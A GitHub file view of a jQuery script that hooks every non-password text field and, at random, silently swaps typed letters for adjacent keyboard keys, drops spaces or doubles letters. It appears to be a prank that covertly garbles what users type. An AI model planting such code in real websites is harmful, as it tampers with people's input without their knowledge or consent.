-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathscript.js
114 lines (112 loc) · 2.92 KB
/
script.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
//http://stackoverflow.com/questions/5203428/inserting-text-after-cursor-position-in-text-are/12815163#12815163
jQuery.fn.extend({
insertAtCaret: function(myValue, myValueE){
return this.each(function(i) {
if (document.selection) {
//For browsers like Internet Explorer
this.focus();
sel = document.selection.createRange();
sel.text = myValue + myValueE;
this.focus();
}
else if (this.selectionStart || this.selectionStart == '0') {
//For browsers like Firefox and Webkit based
var startPos = this.selectionStart;
var endPos = this.selectionEnd;
var scrollTop = this.scrollTop;
this.value = this.value.substring(0, startPos)+myValue+this.value.substring(startPos,endPos)+myValueE+this.value.substring(endPos,this.value.length);
this.focus();
this.selectionStart = startPos + myValue.length;
this.selectionEnd = ((startPos + myValue.length) + this.value.substring(startPos,endPos).length);
this.scrollTop = scrollTop;
} else {
this.value += myValue;
this.focus();
}
})
}
});
$(document).on("keypress", "input[type!='password'], textarea", function (event) {
if ((event.keyCode >= 65 && event.keyCode <= 90) || (event.keyCode >= 97 && event.keyCode <= 122)) {
if (Math.random() < 0.02) {
event.preventDefault();
$(this).insertAtCaret(moveKey[String.fromCharCode(event.keyCode)], "");
return;
}
}
if (event.keyCode === 32) {
if (Math.random() < 0.01) {
event.preventDefault();
$(this).insertAtCaret("", "");
}
return;
}
if ((event.keyCode >= 65 && event.keyCode <= 90) || (event.keyCode >= 97 && event.keyCode <= 122)) {
if (Math.random() < 0.02) {
event.preventDefault();
$(this).insertAtCaret(String.fromCharCode(event.keyCode) + String.fromCharCode(event.keyCode), "");
}
return;
}
if ((event.keyCode >= 65 && event.keyCode <= 90) || (event.keyCode >= 97 && event.keyCode <= 122)) {
if (Math.random() < 0.02) {
event.preventDefault();
$(this).insertAtCaret("", "");
}
return;
}
});
var moveKey = {
"q": "w",
"w": "e",
"e": "r",
"r": "t",
"t": "y",
"y": "u",
"u": "i",
"i": "o",
"o": "p",
"p": "o",
"a": "s",
"s": "d",
"d": "f",
"f": "g",
"g": "h",
"h": "j",
"j": "k",
"k": "l",
"l": "k",
"z": "x",
"x": "c",
"c": "v",
"v": "b",
"b": "n",
"n": "m",
"m": "n",
"Q": "W",
"W": "E",
"E": "R",
"R": "T",
"T": "Y",
"Y": "U",
"U": "I",
"I": "O",
"O": "P",
"P": "O",
"A": "S",
"S": "D",
"D": "F",
"F": "G",
"G": "H",
"H": "J",
"J": "K",
"K": "L",
"L": "K",
"Z": "X",
"X": "C",
"C": "V",
"V": "B",
"B": "N",
"N": "M",
"M": "N"
};